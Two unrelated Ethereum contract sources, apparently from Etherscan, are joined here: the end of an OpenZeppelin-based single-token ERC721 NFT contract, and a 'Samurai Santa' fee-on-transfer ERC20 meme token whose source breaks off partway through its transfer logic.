when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721URIStorage.sol) pragma solidity ^0.8.0; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } pragma solidity ^0.8.7; contract NicoDufreneAntiBTCNFT is ERC721URIStorage { constructor() ERC721("NicoDufreneAntiBTC", "NDAB") { _mint(msg.sender, 0); _setTokenURI(0, "ipfs://QmWnQy5CCh6Hhhw6VN7HdNomJ9Z9UDNB8taJECxfbozt4r"); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-12-23 */ /* サムライサンタ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * C U ON THE MOON * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view returns (address payable) { return payable(msg.sender); } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IAntiSnipe { function setTokenOwner(address owner) external; function onPreTransferCheck( address from, address to, uint256 amount ) external returns (bool checked); } contract SamuraiSanta is IERC20, Ownable { using Address for address; address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; string constant _name = "Samurai Santa"; string constant _symbol = "SANTA"; uint8 constant _decimals = 9; uint256 _totalSupply = 10_000_000_000 * (10 ** _decimals); uint256 public _maxTxAmount = (_totalSupply * 1) / 200; uint256 public _maxWalletSize = (_totalSupply * 2) / 100; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => uint256) lastBuy; mapping (address => bool) isFeeExempt; mapping (address => bool) isTxLimitExempt; uint256 liquidityFee = 20; uint256 reflectionFee = 20; uint256 marketingFee = 40; uint256 devFee = 20; uint256 totalFee = 100; uint256 sellBias = 40; uint256 sellPercent = 250; uint256 sellPeriod = 24 hours; uint256 feeDenominator = 1000; address public autoLiquidityReceiver; address payable public marketingFeeReceiver; address payable public devFeeReceiver; uint256 targetLiquidity = 20; uint256 targetLiquidityDenominator = 100; IDEXRouter public router; address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; mapping (address => bool) liquidityPools; mapping (address => bool) liquidityProviders; address public pair; uint256 public launchedAt; uint256 public launchedTime; IAntiSnipe public antisnipe; bool public protectionEnabled = true; bool public protectionDisabled = false; bool public swapEnabled = true; uint256 public swapThreshold = _totalSupply / 400; uint256 public swapMinimum = _totalSupply / 10000; bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor () { router = IDEXRouter(routerAddress); pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this)); liquidityPools[pair] = true; _allowances[owner()][routerAddress] = type(uint256).max; _allowances[address(this)][routerAddress] = type(uint256).max; isFeeExempt[owner()] = true; liquidityProviders[msg.sender] = true; isTxLimitExempt[address(this)] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[routerAddress] = true; autoLiquidityReceiver = 0xa6fEF015e00659dFE4eC90bc3443Ab713F4227B5; marketingFeeReceiver = payable(0x5B3b180fDb3c0b107834757Cc762A1cA8b053092); devFeeReceiver = payable(0x1eAe3aF8D4d361Db86Cb4DB3281DcC284DEdd110); _balances[owner()] = _totalSupply; emit Transfer(address(0), owner(), _totalSupply); } receive() external payable { } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure returns (uint8) { return _decimals; } function symbol() external pure returns (string memory) { return _symbol; } function name() external pure returns (string memory) { return _name; } function getOwner() external view returns (address) { return owner(); } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function setProtection(bool _protect) external onlyOwner { if (_protect) require(!protectionDisabled); protectionEnabled = _protect; } function setProtection(address _protection, bool _call) external onlyOwner { if (_protection != address(antisnipe)){ require(!protectionDisabled); antisnipe = IAntiSnipe(_protection); } if (_call) antisnipe.setTokenOwner(msg.sender); } function disableProtection() external onlyOwner { protectionDisabled = true; } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { require(_balances[sender] >= amount, "Insufficient balance"); require(amount > 0, "Zero amount transferred"); if(inSwap){ return _basicTransfer(sender, recipient, amount); } checkTxLimit(sender, amount); if (!liquidityPools[recipient] && recipient != DEAD) { if 